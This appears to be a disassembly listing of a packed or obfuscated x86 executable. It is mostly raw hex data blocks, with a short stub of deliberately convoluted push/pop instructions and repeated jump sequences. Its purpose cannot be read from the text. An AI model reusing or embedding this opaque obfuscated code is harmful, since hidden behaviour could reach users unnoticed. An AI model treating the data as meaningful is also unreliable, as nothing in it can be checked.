		dd 0BE015CEEh, 0E1921F45h, 0A8C07431h, 5714A24Ah, 543290E0h
		dd 40F2A2C6h, 0A1BC1EAEh, 891BABDCh, 0DCA1BC75h, 0A604D586h
		dd 591766F8h, 0F3A4E6ABh, 0BCB08643h, 0AFBD7912h, 3B0F73Ch
		dd 2ECDA8E1h, 0BDh, 0CB6BE7Ch, 0FEA8C073h, 0F29CD065h
		dd 0E38DDB59h, 0D680EC4Ah, 8CAA815Eh, 9A9D36E0h, 0A5932CD6h
		dd 0B98821CBh, 992B11BBh, 6063F707h, 179E0423h,	0A04A2214h
		dd 8A3A3A07h, 1D1969CDh, 0D0A1724Fh, 1CC422F3h,	5D2D1495h
		dd 68D994D8h, 8D5E2F0Ch, 284CF5B0h, 246AC07Eh, 0D686571Dh
		dd 254C9344h, 9A77281Fh, 660A2DEAh, 6F25B889h, 0ADD6D818h
		dd 0DF621B79h, 0EF52EB95h, 7A8715C3h, 0B042EA8Eh, 0DC9F281Ch
		dd 5A2BFCADh, 4E51ED7Dh, 20A401D6h, 0BDB78AFAh,	0ADC77A13h
		dd 491F15D0h, 0A971156Ch, 9D2F66DBh, 0EE40CE09h, 6E18E99Ah
		dd 5B1523E0h, 77FD44FDh, 3FB9Ah, 5D560000h, 4E2614B6h
		dd 0E98BB671h, 89E7510Ch, 2A46F1ACh, 0C8A4924Dh, 660630EBh
		dd 266CE89h, 0A1CB6A25h, 3E2A09C4h, 89569C61h, 4C681E6h
		dd 83000000h, 343304EEh, 24343124h, 5C243433h, 5E08950h
		dd 4, 8704E883h, 895C2404h
		db 3Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	ecx
		mov	ecx, 622BC44h
		push	ecx
		pop	edi
		pop	ecx
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		push	24A5h
		mov	[esp], edi
		pop	dword ptr [ecx+8]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_544162
; ---------------------------------------------------------------------------
		db 0D6h, 83h, 56h
		dd 0DD87855Ah, 0FACA86A4h, 7AB88E44h, 30622C6h,	2EE0FFC5h
		dd 3C0ABBF3h, 812E5B3Fh, 0E85EF5ECh, 6453EFF4h,	8865DA95h
		dd 2A6C646Dh, 6A4365FBh, 0EB0F731Dh, 233676DCh,	30500939h
		dd 0B1570BF2h, 664E8978h, 0EB0BD5CAh, 24h, 8 dup(0)
		dd 0BDE900h, 0B5890000h, 622C735h, 31C1858Bh, 858B061Dh
		dd 61D01CDh, 0C77FB58Dh, 858D0622h, 620489Eh, 55C3D0FFh
		dd 0E8h, 0ED815D00h, 622C785h, 31C1BD83h, 0F01061Dh, 2C85h
		dd 35B5FF00h, 8B0622C7h, 1D01CD85h, 27363506h, 0D0FF3481h
		dd 850F013Ch, 0Ah, 1B8h, 47E900h, 0C0330000h, 40E9h, 8D1C6A00h
		dd 22C739B5h, 0B5FF5606h, 622C735h, 1CD858Bh, 3635061Dh
		dd 0FF348127h, 0CC483D0h, 0C739B58Dh, 468B0622h, 4E08314h
		dd 0F04F883h, 784h, 0E9C03300h,	5, 1B8h, 0C1BD8300h, 1061D31h
		dd 7850Fh, 0C35D0000h, 2E9h, 8DCF5D00h,	22C75E85h, 15858906h
		dd 8D061D1Ch, 22C9348Dh, 10E906h, 97DA0000h, 7CAEDF02h
		dd 2F2599E8h, 0F569FD4Fh, 8D894B0Fh, 61D20D1h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 1BC35141h, 0E03203F9h
		dd 1D85C76Ah, 0EC061D33h, 6A000063h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 6DA5C356h
		dd 0FE9h, 28F91E00h, 0D553E142h, 16744705h, 21F815AEh
		dd 2BF985C7h, 61Dh, 6A0000h, 3E856h, 5E200000h,	74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 381AF0C3h, 2E225B93h
		dd 51A2E0FAh, 1585B529h, 665E061Dh, 888DE781h, 2C49B5FFh
		dd 6A061Dh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
		dd 51410000h, 806E40C3h, 0AFE08166h, 1995FF65h,	6A061D15h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 16042444h
		dd 40000000h, 84FC350h,	0FF006A1Ch, 1D120995h, 0EBC08B06h
		dd 24B7D80Eh, 0C5EBF4A1h, 0B0CBBCD7h, 0E86982BBh, 13h
		dd 68503F56h, 5DD4675Ah, 18A8CD2h, 0CD984E1Ch, 5AA3FF59h
		dd 0CC42E181h, 0C28138E1h, 69E1h, 0F3B70F52h, 81FF2B59h
		dd 0E4E43FD1h, 3A048B0Eh, 0CE9h, 0C1EF9100h, 8274A3C1h
		dd 30BE011Ch, 84C08142h, 0E96BF866h, 12h, 9187C9F8h, 87FC9A7Fh
		dd 8002FEAAh, 7F02F7C7h, 0E88133C5h, 3E640D48h,	1AA1B58Bh
		dd 0F081061Dh, 2A6D4352h, 82B90DBBh, 9E85068h, 83000000h
		dd 7A625EFCh, 145F26FDh, 0D4F18166h, 48F59B1h, 259D8B3Ah
		dd 8B061D26h, 1D0F69B5h, 73EF8106h, 8930009Eh, 1D06F985h
		dd 6FC78106h, 8B30009Eh, 1D13318Dh, 0D8FF8106h,	0FFFFF96h
		dd 0FFFF7085h, 188D8DFFh, 0E90622CBh, 9, 0ED3B2063h, 1F745EF6h
		dd 0D9BF0FBAh, 20D18D89h, 6A061Dh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 7B02DBC3h, 3031452Fh
		dd 21DD9529h, 9D31061Dh, 61D13A5h, 331D85C7h, 69D8061Dh
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 0DA6FDC3h, 840F22DDh, 1, 0F985C7F9h, 61D2Bh
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 7DFFC356h, 81B589FCh, 0FF061D2Fh
		dd 1D3199B5h, 95858B06h, 0FF061D13h, 1D151995h,	57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 816DFF43h, 714218AFh, 0AE8h,	8A147900h, 3CAF2519h, 6667C2B0h
		dd 0D08CE681h, 0FE95Fh,	0CBAF0000h, 33FEBD05h, 5F28CC7Fh
		dd 0ED8D9FA6h, 0FF006AC8h, 1D120995h, 0EBC08B06h, 2A467D0Ah
		dd 4E014CF8h, 0EB7EE82Bh, 93C61B08h, 4000001Eh,	0C3EE902h
		dd 3B680000h, 0E90622CDh, 0FFFB7ABBh, 22CE1068h, 7AB1E906h
		dd 9C68FFFBh, 0E90622CFh, 0FFFB7AA7h, 22D04C68h, 7A9DE906h
		dd 3568FFFBh, 0E90622D1h, 0FFFB7A93h, 22D30368h, 7A89E906h
		dd 9068FFFBh, 0E90622D3h, 0FFFB7A7Fh, 22D50E68h, 7A75E906h
		dd 0F768FFFBh, 0E90622D5h, 0FFFB7A6Bh, 0C84DBCEBh, 72F76494h
		dd 1DA2CB3Eh, 0CB50BDE9h, 78FD6C97h, 148FF7DFh,	0C13C70F5h
		dd 0B1EB1FA4h, 6997CB50h, 69E87B00h, 670C7C1Fh,	0E14F5293h
		dd 0ACF6057Bh, 9545C7F3h, 36B94EDFh, 4A0FB798h,	34883664h
		dd 16E898C5h, 37E83291h, 1B6ABADDh, 1E84DA8Ah, 191B68EDh
		dd 0FD8725A8h, 129E6EABh, 8BD55A0Ah, 689FA83Dh,	52C29223h
		dd 6CA79CADh, 0E168C99Ah, 0B8F9A528h, 0F7D74D7Dh, 0F68D5D8Ch
		dd 6D1EB161h, 8C000000h, 82E31C4Ch, 0C70AB5FFh,	57E89545h
		dd 0C5FC38A7h, 3A84E342h, 9545C781h, 0A0709D0Ch, 5FC61609h
		dd 32C75E2Eh, 0C64C1282h, 0D1629760h, 38EA9101h, 245F6CA7h
		dd 38D28DD7h, 2FC06CA7h, 0B74CA9Ah, 0EBA00ADAh,	0A879538Ah
		dd 8AF22247h, 68FD6E9Ah, 4D38D1B8h, 15FB8FAh, 0DC000001h
		dd 0E3F3043Eh, 9D6D3F44h, 0EBAEDA75h, 19AD5DF2h, 24A0AE4Ch
		dd 6367155Fh, 0C6275DB3h, 4CE81343h, 62D49DD9h,	55059AADh
		dd 0A5F22D83h, 456DA05Bh, 0CB3E8E95h, 0A63BD2A2h, 1EBC4111h
		dd 0BDB9C81Ah, 0B90FBF35h, 0FC52224Bh, 92E06586h, 954596A0h
		dd 1C0560FEh, 9DECBD28h, 416997EDh, 8C11A6C7h, 0F1C12A58h
		dd 8C0FB282h, 6580FD2Dh, 456344F7h, 45992A95h, 44DBABDAh
		dd 0F7C50F94h, 0CD97600Ah, 6749A62Fh, 609EF9FFh, 0BA03707h
		dd 50D5665Bh, 2342BDEDh, 91300473h, 0F902C40Eh,	70A06E81h
		dd 2F24D439h, 627D1B9Eh, 0F8B4BFDBh, 5D8D12C2h,	0DB3EC322h
		dd 641475ABh, 6874950Eh, 0B0A89703h, 7F59AC7Ah,	40000009h
		dd 0E91DA2CBh, 93C74CB1h, 3E72F766h, 0EC20A5C6h, 34CD52B3h
		dd 4ABBE44Ch, 0F91491C5h, 0A5C64074h, 55B6EC20h, 74BE3DD0h
		dd 93670ACBh, 7B36A4A7h, 285CE100h, 9A0C91FAh, 6CEFD262h
		dd 60C65C22h, 0F9227297h, 0E933B888h, 6CA73836h, 61F68B1Ch
		dd 387A2191h, 0BBEF6CA7h, 0F32C8252h, 6C1FC292h, 29FAD40Bh
		dd 4CC841C8h, 9ECFB8FAh, 3D000000h, 14E4057Bh, 542445BEh
		dd 45CC72E4h, 0E8017F95h, 98F12F63h, 0EB1343C8h, 6313AA7Ah
		dd 0FE8140F4h, 9F55E6B4h, 83FC4C68h, 0FB48CD62h, 0A6058839h
		dd 1642FD47h, 9F306CA7h, 0F5F47FEFh, 1A4A6E80h,	1AB181E2h
		dd 61E4756Ah, 1297F631h, 86BD11AFh, 0A6EF9242h,	667A0F6h
		dd 0A9D49FFAh, 0E13402B0h, 8AAh, 48CD3C6Bh, 0F277E414h
		dd 9D224BBEh, 4BD03D69h, 0F87DEC17h, 940F775Fh,	41BCF075h
		dd 316B9F24h, 0E9174BD0h, 0E968FB80h, 6709FC9Fh, 61CFD293h
		dd 5CE1007Bh, 0C91FA28h, 0A3ED4C9Ah, 9545C7F8h,	520D57D6h
		dd 409545C7h, 146A1AAFh, 3847BEEEh, 45C74DEEh, 0FB902195h
		dd 8BD2942Bh, 0D89C922Bh, 95EBBB50h, 2C79FE6Fh,	9836B908h
		dd 1422DF8Fh, 6E94E86Ah, 7EC84DFDh, 97608354h, 54D9A93Ah
		dd 422D73B6h, 0A7DD7F88h, 0AB01B146h, 0B8255575h, 661963E8h
		dd 4C6CA602h, 0C9126BBh, 7141AAD8h, 68617B01h, 8FF0A3E1h
		dd 0A3C43A6Ah, 368C3CD3h, 0E61A9FC8h, 0F91290B8h, 7AFD9229h
		dd 7AC4D34Ah, 0E7D865C1h, 0B7871CADh, 2E9E7020h, 0E7D86588h
		dd 47882687h, 9E01BAB3h, 1F805505h, 0D92FB29h, 7242ABD9h
		dd 0DF7B0002h, 78D9AC02h, 0FC2C1C82h, 1275FA8Fh, 9545B6E2h
		dd 0D8A8C13Fh, 73F6CB69h, 0FD33DB29h, 0ED7001E5h, 359B448Eh
		dd 0E677F9C5h, 0AD1E0224h, 8636044Ch, 3F82B2FFh, 498C72BCh
		dd 0D162FBE0h, 0C6E61E4Eh, 0C35A2A53h, 0C99A5E2Eh, 28046048h
		dd 3D0FBF54h, 262D17CDh, 0E44516F3h, 0F7168FBFh, 33A96047h
		dd 61EE257Bh, 5C000004h, 45C7BE61h, 0D7621995h,	7ECD9545h
		dd 696ABA35h, 6ABA2BB2h, 0BC5FA908h, 926ABA2Bh,	52E25101h
		dd 5D8DEC6Fh, 5FF6C627h, 43253FAFh, 3ACB689Fh, 8A42D52Eh
		dd 0F6230AAh, 71Eh, 0BC41A8DFh,	66EB1088h, 1196C732h, 0BF44A1DDh
		dd 6CF1108Bh, 1883EBD3h, 0F53064E9h, 0A5DF1398h, 158BBF44h
		dd 5DDC6FF4h, 67086813h, 0D5434693h, 14E4057Bh,	0AF328FA5h
		dd 15E5047Fh, 0FF49CE7Eh, 97678C75h, 1747CA5Bh,	17AE7EEFh
		dd 0F02BE067h, 8205BC78h, 0BDE9A638h, 0F8FB8C6Eh, 64DECAAEh
		dd 338EA6B3h, 0E90280B0h, 906AB439h, 0BED33E04h, 0A8D85D2Dh
		dd 0F05F0F7Ch, 0B0FA7D44h, 0A9217788h, 79EA1262h, 0FA7D12A9h
		dd 0FB4554CAh, 0AD614840h, 0DC499D2Eh, 34971CB1h, 48D08BD5h
		dd 2DBEAD61h, 90F9277Dh, 48773584h, 5FB2806Ch, 66Eh, 0C91F82Fh
		dd 0B63BA0D8h, 61E61782h, 0F94F12Dh, 0BC41A0DBh, 0A8D33B23h
		dd 580B439h, 0F52F63E8h, 0A5DB0F94h, 0AD2CBF44h, 6717B863h
		dd 25939693h, 0F630D262h, 1E7D0095h, 45C72BD4h,	0C6760795h
		dd 48B2E241h, 0C73CDF29h, 81129545h, 0D5851CECh, 60E43365h
		dd 0C0902197h, 3D3346Ah, 52CDFD60h, 2E26BF06h, 1FB4F4C8h
		dd 0EB35B84Fh, 6CA70730h, 8DD8D1Eh, 259C98A7h, 9AE443A2h
		dd 6CA707E1h, 1C8C3CCDh, 6E8224EAh, 74C247D8h, 668063CFh
		dd 1B84B413h, 15831AEAh, 6680636Ah, 63CD6EB8h, 10A16680h
		dd 3451CD1Dh, 8838CD64h, 80636718h, 9F63D166h, 9C33036Ah
		dd 0F5258407h, 38A85885h, 64A228AEh, 0AE330394h, 0DAF25710h
		dd 0A2521C0Eh, 0E71C8A32h, 5A69ED78h, 44BA9DE0h, 2ADA1723h
		dd 6735B6CAh, 58514h, 0A8D14600h, 52BBEF23h, 0FD6099CDh
		dd 0ABD84478h, 5889F226h, 0EA523AD3h, 97CB50B1h, 467AFF6Eh
		dd 0F226ABDCh, 43D65B8Ch, 16C17AC4h, 0AAAD9367h, 0EFD2623Ch
		dd 0ACDD0D6Ch, 57219141h, 7D97678Ch, 58C61CECh,	3ED33870h
		dd 69125CBBh, 0E46C98F2h, 0A5A4DBEh, 28D86D9Eh,	20DE54A1h
		dd 0B80285E6h, 6C98F207h, 0F5C55AEBh, 0EDB619Fh, 32952755h
		dd 2B5BDE73h, 2BC292F3h, 42C0F47Bh, 9D035929h, 1FD09C6Ch
		dd 3D6999BEh, 9B2D0ED0h, 0F4F20CACh, 57B0EE44h,	53FC0DD2h
		dd 839BB8F4h, 9000001h,	84E11C4Ch, 0FE6D1DB4h, 0BE088B36h
		dd 9760C9B0h, 3AA3D606h, 2E23D36Ah, 0A45DCD9Dh,	0B76CA73Eh
		dd 5080A506h, 9504B4D9h, 409F229Fh, 6A4FC3A2h, 9747F9E3h
		dd 8277D927h, 3680FF6Eh, 66807185h, 0BE43D869h,	23F3148Ah
		dd 403C009Eh, 2DD65F9Fh, 90F9277Dh, 0F78A80Bh, 75BF2EDEh
		dd 3E2BC94Ch, 0E84F7BBh, 1576AE02h, 896E065h, 2E64A509h
		dd 1848CD9Dh, 19B080EDh, 7B42F969h, 704178EDh, 581880Fh
		dd 4016ACC0h, 84000000h, 6CEFD262h, 60C65C22h, 11E17297h
		dd 0A738FAA1h, 0D23B6F6Ch, 1370AC02h, 11017F43h, 64281062h
		dd 0F0E647FCh, 0EAC459B2h, 0D831B819h, 0BFB8F973h, 0A8h
		dd 0E893DD3Ch, 0C66CA7F5h, 7BF18535h, 0BE14E405h, 0FE542445h
		dd 41976780h, 0F727AAC3h, 92DC5F8Eh, 9545C7E9h,	0FD8434C5h
		dd 45CC45AFh, 0B1EB1B95h, 39E98050h, 0C74CBDE3h, 8F5FC664h
		dd 0E3EDB74Eh, 5170C433h, 0C73F6FCEh, 480D6A6h,	32A252E7h
		dd 689D7E27h, 0C7F77A0Bh, 45A82D5Ch, 0CC7CE915h, 0D0DC0D76h
		dd 0AA8D4E9Dh, 0B74FA270h, 78000003h, 2155DA03h, 0CBFF84E9h
		dd 76AA2F5Eh, 2458DD0Eh, 6C058AFBh, 82E31C84h, 315CC9FDh
		dd 0DD0E78ACh, 8DFE2458h, 0ACF67508h, 936714F3h, 7B6EDCDFh
		dd 285CE100h, 9A0C91FAh, 81E21C4Ch, 146A1AB1h, 4CB350EEh
		dd 0C097C4B6h, 3ED3306Ch, 81EA186Eh, 0BA618AFCh, 15954547h
		dd 6ABA476Eh, 0D4576ACAh, 980CF88Ah, 0F2265668h, 53E4D989h
		dd 0A1201483h, 706D41Eh, 0AD2C6EBCh, 0FA4FB863h, 70059666h
		dd 0AD793364h, 99ECBAB0h, 32Ah,	0C84DBCEBh, 72F76494h
		dd 1DA2CB3Eh, 0CB50BDE9h, 78FD6C97h, 148FF7DFh,	0C13C70F5h
		dd 0B1EB1FA4h, 6997CB50h, 69E87B00h, 67147C1Fh,	0E14F5293h
		dd 61E4057Bh, 0CB4974C3h, 936C2E5Fh, 794BFB31h,	2855C4F4h
		dd 8BFC2278h, 467BB906h, 0C53464C3h, 2A78E898h,	10976069h
		dd 56CCFC7Fh, 5B42FD47h, 9F306CA6h, 0F3A33A0Ah,	5B0AB121h
		dd 28F96CA6h, 0E5C940C7h, 5ACEB8FAh, 4B000000h,	2340BCECh
		dd 0AD4EBC53h, 816CA663h, 398F531h, 0D262BF53h,	0FE93F830h
		dd 0C6AB317Bh, 0F0819760h, 0A0CD3D6Dh, 9AE1EF0h, 7C6CA738h
		dd 0BA10E00Dh, 0C7386242h, 18EB6232h, 2845C1B7h, 522CC158h
		dd 4965A1D1h, 47DEAEDFh, 9B4BE2B2h, 2BDE65C6h, 6CB8FA4Dh
		dd 0EFh, 0E4057BDAh, 2B5F8F14h,	0D85BF2C2h, 45C7ED8Eh
		dd 8030C195h, 0D90F12Ah, 7646A7DDh, 75D2FDFh, 0BDED7099h
		dd 0BF562647h, 0B9E73D0Fh, 609DCD50h, 0EE9E3505h, 0CC2F1967h
		dd 4EB49545h, 3E64981Dh, 0A68EFDCDh, 939981Bh, 1471AD91h
		dd 2E59AF7Fh, 0C358EFBFh, 2BE1A313h, 7E0F689Fh,	3988ACF9h
		dd 520D57B6h, 406CA72Ch, 5249E82h, 60F5D85Bh, 6DCC2BB0h
		dd 0A7C67823h, 15C5566Ch, 802B5AA5h, 64E7786Eh,	7CAAD505h
		dd 7D4DE203h, 0A7E036E6h, 1425C346h, 5873C135h,	1A4ED585h
		dd 4D7480E1h, 0B8B0AAE4h, 1AC97EAh, 3E6D0000h, 0E2164ACFh
		dd 49C0F479h, 336B9F24h, 0EE194DD2h, 7961FA7Fh,	0F2779611h
		dd 0A12647BEh, 4DD2336Dh, 0FD82EB19h, 0FEA1EB6Ah, 0D4936712h
		dd 7B63D1h, 0B989FA22h,	0D4088D22h, 8ABA3DAEh, 871EEE1Fh
		dd 62DE50D7h, 226CEFD2h, 9760C65Ch, 0A111E172h,	6CA738FAh
		dd 30B718E9h, 0B8FA4CD9h, 0DABEh, 57B2C00h, 45BE14E4h
		dd 3471A124h, 0E75729D9h, 9545CC7Dh, 66EB1C82h,	0ACDCCC32h
		dd 43D86F3Fh, 91300473h, 2B02C40Eh, 9F30689Fh, 9B67CD1Ah
		dd 9D340465h, 413B8508h, 1F6E80C9h, 8EC576C0h, 0CF196686h
		dd 66868E2Ch, 0ED7E7102h, 34B7483Dh, 0E76A9B04h, 49EF4DB7h
		dd 0D76E8A87h, 57AD7D12h, 59F0C029h, 2A8D14C4h,	926283FAh
		dd 0F7EA7FBh, 429E095Fh, 0E0603679h, 8F9B30F5h,	0B0A91A7Ah
		dd 0C3348755h, 84000000h, 2D61E617h, 0D70B90FDh, 82B63BA2h
		dd 3064E91Ah, 781196F7h, 8EFF2890h, 3DA8D509h, 0E91A84B8h
		dd 99F23064h, 0B8028114h, 93671207h, 7B7AE8EBh,	573CB400h
		dd 52E0B407h, 76D538BDh, 452D732Ch, 1ECE5F95h, 0AE315AC8h
		dd 2D5A054Fh, 0A7389545h, 7BFE70F7h, 8F14E405h,	65A320F1h
		dd 9B98A5Fh, 971C4DB3h,	54D7EA4Ah, 0DC8CF924h, 2A7F0D57h
		dd 0D4659767h, 1770AE04h, 0C7205E92h, 0CB287F7h, 37EA7529h
		dd 49A2E0D6h, 0FD6E96C6h, 5FE6962Dh, 0C494F52Bh, 52D5366Eh
		dd 7969AEB4h, 0D787A005h, 902EB305h, 0C31E689Bh, 0C33B8F31h
		dd 8B3BD2A2h, 215F55B6h, 910F43C8h, 355A878h, 0C3000000h
		dd 0C7B69F9h, 49B70DDDh, 80FA5020h, 0CC398F5Fh,	7BD1A1h
		dd 40BB11E1h, 83FB5121h, 0CD3C9262h, 0E7AD0A0h,	52560DDDh
		dd 0C281E289h, 4, 5204EA83h, 42474FFh, 24048F5Ah, 0E389535Ch
		dd 4C381h, 0EB810000h, 4, 5C241C87h, 52242C89h,	0C281E289h
		dd 4, 4EA81h, 14870000h, 1C895C24h, 0CB906824h,	2C8B0622h
		dd 4C48124h, 54000000h,	81241C8Bh, 4C4h, 8B85000h, 1000000h
		dd 8B2889D8h, 0C4832404h, 2434FF04h, 4C4815Bh, 8B000000h
		dd 8950242Ch
		dd 405E0h, 0C0830000h, 24048704h, 6E91E95Ch, 642BFFFBh
		dd 685121ADh, 0A41A8445h, 22D6DFB8h, 0FFC50306h, 0B4F370E0h
		dd 0C674FD59h, 1284940Bh, 68DF83Eh, 9AA78644h, 7DCDC613h
		dd 7D17DC4Bh, 0CD723F73h, 0FC900616h, 31B63D45h, 0EE3FEF6Fh
		dd 77BB1D15h, 0BE621234h, 6D99B65Ah, 0FC158E05h, 0E1CAE916h
		dd 5AA6F26Bh, 187BB41Dh, 60DE0B0Ah, 9F68123Eh, 46EBC42Ah
		dd 0DB15101Dh, 84355C0Bh, 8ADA1730h, 0EF89972Ch, 5867F90Ch
		dd 7443C73Eh, 8708262Fh, 17EA0139h, 51FC6057h, 0DA095035h
		dd 0ABE92Bh, 8D500000h,	0B11C3F2Eh, 0ABDA5F72h,	0B395A7ACh
		dd 0A1F44592h, 0DA00B395h, 20A7ECABh, 6BB2915Dh, 2096B1F4h
		dd 9B552075h, 0BCF26BB7h, 0A19692A5h, 603A7594h, 329FB799h
		dd 0E9B599BDh, 92A59CB2h, 95ACA3F2h, 97B1EF76h,	0B4F94E00h
		dd 5C009FA5h, 4AF07B6Bh, 0D0008A92h, 0F545F352h, 79A3F653h
		dd 0F144D6D9h, 0F445E3AFh, 0D77D41h, 0BF9792B0h, 60FD756Bh
		dd 0F996BFCFh, 20B293BCh, 9B57207Dh, 9492ABF7h,	0E3B29EBDh
		dd 0E0CE9DBCh, 728F899Bh, 0A9FD8F9Dh, 0F66DB4EEh, 93BCE1B6h
		dd 97B3ED72h, 0A601E800h, 323D94E7h, 2AC61E83h,	135AE96Eh
		dd 0DC680000h, 0E90622DAh, 0FFFAA6FEh, 22DBF168h, 0A6F4E906h
		dd 468FFFAh, 0E90622DDh, 0FFFAA6EAh, 22DE3968h,	0A6E0E906h
		dd 0B768FFFAh, 0E90622DEh, 0FFFAA6D6h, 22DF6D68h, 0A6CCE906h
		dd 1468FFFAh, 0E90622E0h, 0FFFAA6C2h, 22E10468h, 0A6B8E906h
		dd 0BE68FFFAh, 0E90622E1h, 0FFFAA6AEh, 22E2D268h, 0A6A4E906h
		dd 0DD68FFFAh, 0E90622E3h, 0FFFAA69Ah, 22E52268h, 0A690E906h
		dd 7068FFFAh, 0E90622E6h, 0FFFAA686h, 22E85868h, 0A67CE906h
		dd 3068FFFAh, 0E90622E9h, 0FFFAA672h, 600A6AD0h, 52FC6CC7h
		dd 46F07CB9h, 37E187ADh, 2AD4989Eh, 38FEF5B2h, 46F18A34h
		dd 51E7802Ah, 65DC751Fh, 0ED7F650Fh, 607F4B5Bh,	6BF25823h
		dd 6A472D14h, 5237FDBAh, 42A62CC0h, 3B0CBD25h, 63D28D5Eh
		dd 0FD5B2C09h, 0CD77FD44h, 0AB5B390Fh, 75FB3CF9h, 0B0E88917h
		dd 3AEB1F45h, 0F460F58Ah, 0BCFF2B07h, 4415F27Ah, 0AA3A1573h
		dd 0DCA0311Eh, 472448EDh, 4FE1A88Ch, 0DCA031BFh, 0EDCA9B4Ch
		dd 0FE86943Ch, 85563335h, 78A22CB4h, 1DAFE30Dh,	3D9AEDh
		dd 0EFF30000h, 0CE8B3B59h, 6A250266h, 0F4C5A2CEh, 8517C523h
		dd 1F45A514h, 8111EE9Fh, 0DCA05969h, 1CF96FC4h,	0BD9AD661h
		dd 0CAA476FAh, 2362B842h, 0ED1DC389h, 114B0h, 0F0450200h
		dd 1F771E7Ch, 27FA668Ah, 0D96B11BFh, 254200C5h,	0F65425D6h
		dd 0C070043Dh, 0DE3C3403h, 7EEE4803h, 0A85CF1A1h, 607491ECh
		dd 0CE983B3h, 530C6A3Bh, 0EEA986EEh, 9772153h, 254254F8h
		dd 5CB6FC45h, 6DF231E0h, 343E5B99h, 1EEF7354h, 370AA34Dh
		dd 0F3B0603Dh, 794A2741h, 89EF3D1Bh, 51171CD9h,	0BEB345F3h
		dd 6A1F45BBh, 5E286ADh,	22D3D634h, 82DEA78h, 12280664h
		dd 2D09C676h, 8133E13Fh, 9AF870C4h, 0AA9CB10Ch,	0E19142E6h
		dd 805D1324h, 75288EEDh, 6C3D9F94h, 19AE600Eh, 0B84AC408h
		dd 0D6815224h, 4E7104B5h, 0D891EFD4h, 0D6640E5Eh, 0A029224h
		dd 0DE8FD681h, 0FD6FC780h, 3A2C98Ah, 0F4936EE1h, 1064h
		dd 0C8720238h, 0BA64042Fh, 0AE581421h, 9F491F15h, 923C3006h
		dd 0D0665D1Ah, 0DE59F29Ch, 0E94FE892h, 0FD44DD87h, 55E7CD77h
		dd 607C33C3h, 0D35AC023h, 9A4A2214h, 71E29A05h,	0C9270686h
		dd 61D69321h, 361320Fh,	0D37DF74Ah, 0DB6D1F4Ch,	2542A6CBh
		dd 0EBC927D8h, 0F587375Dh, 1F45A584h, 0A8C0740Fh, 984AFAD7h
		dd 0A059F606h, 0F45203DCh, 0A0595266h, 0DE8AA9DCh, 8FFB4601h
		dd 1AF7C8A8h, 2747D357h, 8005159Fh, 0ED1DC36Eh,	0DA0Dh
		dd 2D146600h, 28E59747h, 3BCB5B19h, 0C82542A6h,	0C1D56717h
		dd 0D22542A6h, 2DE8C321h, 0F6866309h, 2542A4EBh, 4CF6A83Dh
		dd 0BF6D2A57h, 0DB99A861h, 0CBA99831h, 95D75E1Bh, 6308902h
		dd 0EC4A97FFh, 7D1B3111h, 482810CDh, 87AA3CEAh,	0CE0BA94h
		dd 6623B15Bh, 0E888B0CEh, 8C693A0Bh, 6AF628BBh,	0DA5B2F57h
		dd 0EC889E7Ch, 0B642AA3Ch, 1ECFE6A9h, 0FD85B16Eh, 83543137h
		dd 0C76F08B2h, 0FD6B32A5h, 613CE104h, 0F4FC2h, 5D172300h
		dd 4F191AB3h, 43290CA5h, 34340099h, 2745F18Ah, 5126057Dh
		dd 44DD87E5h, 3AD37DF3h, 2FC872FEh, 0D2B86212h,	7D1EAE40h
		dd 45AB2360h, 4A2214BEh, 8E79059Ah, 0C9AF2612h,	0E947290Eh
		dd 6F01B341h, 2542E55Fh, 0A45DBB6Ch, 2147ED9Dh,	141FA650h
		dd 0AF6A472Dh, 2D3BF892h, 6724B25Ch, 9A2ABCCDh,	272542A6h
		dd 0F7C8A576h, 1755E099h, 0B2C27F3Ah, 2EBE5002h, 2D2542A6h
		dd 6C31C74Ah, 1FD0D51Eh, 0F68B19C1h, 4263D78Ah,	9C61BF81h
		dd 74102654h, 0BAC332C4h, 9F501F45h, 2329C04Ch,	49DF295Eh
		dd 21E67B2Bh, 4D95E6F4h, 7E30DE3Ch, 566B75E9h, 63DEF821h
		dd 0B3854011h, 7CD15FBDh, 641D1D2Eh, 218C20B2h,	6C1DD979h
		dd 7D5A0B0Eh, 39E98F9Dh, 191718A7h, 3EEE9FE3h, 868CF8Ch
		dd 0A29F5A2Bh, 0C624F5D2h, 9040340Dh, 580860D3h, 59A936C6h
		dd 0B412C3D3h, 0ABE97E0Ch, 43E56484h, 0D8A9CB76h, 0F480C17Ah
		dd 0AB79F481h, 5BFAD5DEh, 0E3Ch, 0A04A2A10h, 923C2C07h
		dd 86303CF9h, 772147EDh, 6A1458DEh, 0F83E35F2h,	631CA74h
		dd 1127C06Ah, 251CB55Fh, 2DBFA54Fh, 607B0B9Bh, 0AB329823h
		dd 6A472D14h, 4AEEBC8Ah, 926F053Ch, 6F1FF0C1h, 45A44CDDh
		dd 35C7571Fh, 0DCA058A1h, 6B08132h, 0E696F248h,	50A26F51h
		dd 0A301615Eh, 0DC0663F5h, 25E2E6A7h, 0AF805D13h, 0C09D4E51h
		dd 87FE9830h, 0FE1CA6D6h, 3A646587h, 4014E7h, 0EF6D0000h
		dd 0D98B3B59h, 60252744h, 0A0FE6F53h, 455B7F12h, 33E3941Fh
		dd 0CEABBD76h, 34F19FFDh, 54C26C04h, 0DCA0134Ah, 22CCA899h
		dd 0E5ED794h, 49026031h, 5A481EFh, 0D84h, 0D3999C59h, 8A1FCE75h
		dd 0A89722F6h, 5E341C9h, 0BECC8F37h, 1EE533B3h,	2EEB9D4Dh
